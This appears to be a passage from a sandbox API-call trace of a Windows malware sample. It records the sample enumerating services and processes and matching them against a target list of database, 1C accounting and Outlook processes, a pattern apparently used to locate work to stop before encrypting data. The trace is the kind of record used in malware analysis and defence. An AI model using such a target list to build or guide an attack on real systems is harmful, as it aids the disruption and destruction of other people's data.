	[0097.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0097.193] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0097.193] lstrlenW (lpString="CryptSvc") returned 8
	[0097.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0097.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0097.193] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0097.193] lstrlenW (lpString="CscService") returned 10
	[0097.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0097.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0097.193] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0097.193] lstrlenW (lpString="DcomLaunch") returned 10
	[0097.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0097.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0097.194] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0097.194] lstrlenW (lpString="Dhcp") returned 4
	[0097.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0097.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0097.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0097.194] lstrlenW (lpString="Dnscache") returned 8
	[0097.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0097.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0097.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0097.194] lstrlenW (lpString="DPS") returned 3
	[0097.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0097.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0097.194] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0097.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0097.194] lstrlenW (lpString="eventlog") returned 8
	[0097.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0097.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0097.195] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0097.195] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0097.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0097.195] lstrlenW (lpString="EventSystem") returned 11
	[0097.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0097.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0097.195] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0097.195] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0097.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0097.195] lstrlenW (lpString="gpsvc") returned 5
	[0097.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0097.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0097.195] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0097.195] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0097.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0097.196] lstrlenW (lpString="iphlpsvc") returned 8
	[0097.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0097.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0097.196] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0097.196] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0097.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0097.196] lstrlenW (lpString="LanmanServer") returned 12
	[0097.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0097.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0097.196] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0097.196] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0097.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0097.196] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0097.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0097.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0097.196] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0097.196] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0097.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0097.196] lstrlenW (lpString="lmhosts") returned 7
	[0097.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0097.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0097.196] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0097.196] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0097.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0097.196] lstrlenW (lpString="MMCSS") returned 5
	[0097.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0097.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0097.197] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0097.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0097.197] lstrlenW (lpString="MpsSvc") returned 6
	[0097.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0097.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0097.197] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0097.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0097.197] lstrlenW (lpString="Netman") returned 6
	[0097.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0097.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0097.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0097.197] lstrlenW (lpString="netprofm") returned 8
	[0097.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0097.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0097.197] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0097.197] lstrlenW (lpString="NlaSvc") returned 6
	[0097.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0097.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0097.197] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0097.198] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0097.198] lstrlenW (lpString="nsi") returned 3
	[0097.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0097.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0097.198] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0097.198] lstrlenW (lpString="PcaSvc") returned 6
	[0097.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0097.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0097.198] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0097.198] lstrlenW (lpString="PlugPlay") returned 8
	[0097.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0097.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0097.198] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0097.198] lstrlenW (lpString="Power") returned 5
	[0097.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0097.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0097.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0097.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0097.199] lstrlenW (lpString="ProfSvc") returned 7
	[0097.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0097.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0097.199] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0097.199] lstrlenW (lpString="RpcEptMapper") returned 12
	[0097.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0097.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0097.199] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0097.199] lstrlenW (lpString="RpcSs") returned 5
	[0097.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0097.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0097.199] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0097.199] lstrlenW (lpString="SamSs") returned 5
	[0097.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0097.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0097.199] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0097.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0097.200] lstrlenW (lpString="Schedule") returned 8
	[0097.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0097.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0097.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0097.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0097.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0097.200] lstrlenW (lpString="SENS") returned 4
	[0097.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0097.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0097.200] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0097.200] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0097.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0097.200] lstrlenW (lpString="ShellHWDetection") returned 16
	[0097.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0097.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0097.200] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0097.200] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0097.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0097.201] lstrlenW (lpString="Spooler") returned 7
	[0097.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0097.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0097.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0097.201] lstrlenW (lpString="SysMain") returned 7
	[0097.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0097.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0097.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0097.201] lstrlenW (lpString="Themes") returned 6
	[0097.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0097.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0097.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0097.201] lstrlenW (lpString="TrkWks") returned 6
	[0097.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0097.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0097.201] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0097.202] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0097.202] lstrlenW (lpString="UxSms") returned 5
	[0097.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0097.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0097.202] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0097.202] lstrlenW (lpString="WdiServiceHost") returned 14
	[0097.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0097.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0097.202] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0097.202] lstrlenW (lpString="WdiSystemHost") returned 13
	[0097.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0097.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0097.202] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0097.202] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0097.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0097.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0097.202] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0097.202] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0097.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0097.203] lstrlenW (lpString="Winmgmt") returned 7
	[0097.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0097.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0097.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0097.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0097.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0097.203] lstrlenW (lpString="WPDBusEnum") returned 10
	[0097.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0097.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0097.203] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0097.203] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0097.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0097.203] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0097.203] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8
	[0097.206] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0097.207] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0097.208] lstrlenW (lpString="System") returned 6
	[0097.208] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0097.208] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0097.208] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0097.208] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0097.208] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0097.209] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0097.209] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0097.209] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0097.210] lstrlenW (lpString="smss.exe") returned 8
	[0097.210] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0097.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0097.210] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0097.210] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0097.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0097.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0097.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0097.210] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0097.211] lstrlenW (lpString="csrss.exe") returned 9
	[0097.211] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0097.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0097.212] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0097.212] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0097.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0097.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0097.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0097.212] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0097.213] lstrlenW (lpString="wininit.exe") returned 11
	[0097.213] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0097.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0097.213] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0097.213] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0097.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0097.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0097.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0097.213] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0097.214] lstrlenW (lpString="csrss.exe") returned 9
	[0097.214] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0097.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0097.214] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0097.214] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0097.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0097.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0097.214] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0097.215] lstrlenW (lpString="winlogon.exe") returned 12
	[0097.215] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0097.216] lstrlenW (lpString="services.exe") returned 12
	[0097.216] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0097.217] lstrlenW (lpString="lsass.exe") returned 9
	[0097.217] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0097.218] lstrlenW (lpString="lsm.exe") returned 7
	[0097.218] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.220] lstrlenW (lpString="svchost.exe") returned 11
	[0097.220] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.221] lstrlenW (lpString="svchost.exe") returned 11
